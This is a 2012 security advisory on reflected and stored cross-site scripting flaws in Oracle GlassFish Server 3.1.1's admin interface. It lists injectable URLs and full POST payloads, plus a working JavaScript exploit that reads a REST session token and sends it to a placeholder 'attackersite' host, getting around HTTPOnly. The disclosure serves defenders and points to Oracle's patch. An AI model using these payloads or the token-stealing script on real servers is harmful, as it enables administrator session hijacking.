Vulnerability Advisory

Name	Multiple Cross Site Scripting Vulnerabilities
Vendor Website	Oracle (www.oracle.com)
Date Released	April, 19th 2012 – CVE 2012-0551
Affected Software	Oracle GlassFish Server 3.1.1 (build 12)
Researcher	Roberto Suggi Liverani (roberto.suggi@security-assessment.com)

Description

Security-Assessment.com has discovered that components of the Oracle GlassFish Server administrative web interface are vulnerable to both reflected[1] and stored[2] Cross Site Scripting attacks. All pages where Cross Site Scripting vulnerabilities were discovered require authentication.

Reflected Cross Site Scripting

Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected	Method	Variable
/common/applications/lifecycleEdit.jsf?appName= test**%27);alert(document.cookie)//**test	GET	appName

/common/security/realms/realms.jsf?configName=default-config**%22%29%3balert%281%29//**test
/web/grizzly/networkListeners.jsf?configName=default-configad217**%22%29%3balert%281%29//**test
/common/security/auditModules/auditModules.jsf
?configName=904895**%22);alert(1);//**test
/common/security/jacc/jaccProviders.jsf?configName=904895**%22);alert(1);//**t
/common/security/msgSecurity/msgSecurity.jsf?
configName=904895**%22);alert(1);//**test
/jms/jmsHosts.jsf?configName=904895**%22);alert(1);//**test
/web/grizzly/networkListeners.jsf?configName=904895**%22);alert(1);//**test
/web/grizzly/protocols.jsf?configName=904895**%22);alert(1);//**test
/web/grizzly/transports.jsf?configName=904895**%22);alert(1);//**test
	GET	configName

/xhp?key=aquarium**%27%3b%3Cscript%3Ealert** **%281%29%3C/script%3E//**test ** Works in Internet Explorer (content sniffing)	GET	key

[1] Non-Persistent Cross Site Scripting - http://en.wikipedia.org/wiki/Cross-site_scripting#Non-persistent
[2] Persistent Cross Site Scripting - http://en.wikipedia.org/wiki/Cross-site_scripting#Persistent

Stored Cross Site Scripting

The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected	Rendered Page	Method	Variable
/management/domain/create-password-alias	/management/ domain/ list-password-aliases /cluster/node/ nodeEdit.jsf? nodeName=localhost- domain1&bare=true	POST	id
common/appServer/pswdAliasNew.jsf ** requires a valid javax.faces.ViewState	/cluster/node/ nodeEdit.jsf? nodeName=localhost domain1&bare=true	POST	propertyForm%3 ApropertySheet %3ApropertSection TextField %3AaliasNameNew %3AaliasNameNew

Stored Cross Site Scripting - POST Request – REST Interface

```
POST /management/domain/create-password-alias HTTP/1.1
Host: 192.168.0.205:4848
[snip]
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

AS_ADMIN_ALIASPASSWORD=testing81&id=%22%3E%3Cscript%3Ealert%28%22viaREST%22%29%3B%3C%2Fscript%3E&remove_empty_entries=true
```

Stored Cross Site Scripting - POST Request – Standard Web Interface

```
POST /common/appServer/pswdAliasNew.jsf HTTP/1.1
Host: 192.168.0.205:4848
[snip]
Faces-Request: partial/ajax
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 889
Cookie: JSESSIONID=146c28566608602e3a73ab65f07c; treeForm_tree-hi=treeForm:tree:nodes

propertyForm%3ApropertySheet%3ApropertSectionTextField%3AaliasNameNew%3AaliasNameNew=%22%3E%3Cscript%3Ealert(12345545)%3C%2Fscript%3E&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnewPasswordProp%3ANewPassword=test&propertyForm%3ApropertySheet%3ApropertSectionTextF
```

```
ield%3AconfirmPasswordProp%3AConfirmPassword=test&propertyForm%3AhelpKey=ref-
pswdaliasnew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=-
6862830673138436308%3A3791000406796984 60&com_sun_webui_util_FocusManager_focusElementId=prop
ertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.source=propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.execute=%40all&javax.faces.pa
rtial.render=%40all&bare=true&propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=pr
opertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.ajax=true
```

Exploitation

These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file, such as a JavaScript hook file provided by BeEF[3], the browser exploitation framework. In this particular case, it is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.

Bypassing HTTPOnly protection and token theft via REST interface

There is a feature[4] in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.

This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.

The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named *gfresttoken* within the REST interface.

Bypassing HTTPOnly and Stealing Session Token

```
function retrieveToken()
{
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {}
  }
```

[3] BeEF Project: http://beefproject.com/
[4] http://docs.oracle.com/cd/E18930_01/html/821-2416/gjipx.html

```
xmlhttp.open("POST","/management/sessions",true);
xmlhttp.setRequestHeader("Accept","application/json")
xmlhttp.send();
return xmlhttp;
}

function stealToken(a)
{
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker
a = document.createElement("IMG");
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token);
document.body.appendChild(a); // time to grab the token
}

// this exploit works with browsers that have native JSON support

var a = retrieveToken();// perform XHR to retrieve token
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to
attackersite

// attacker then needs to set a cookie named gfresttoken with the token value obtained.
The
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server
```

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Web www.security-assessment.com
Email info@security-assessment.com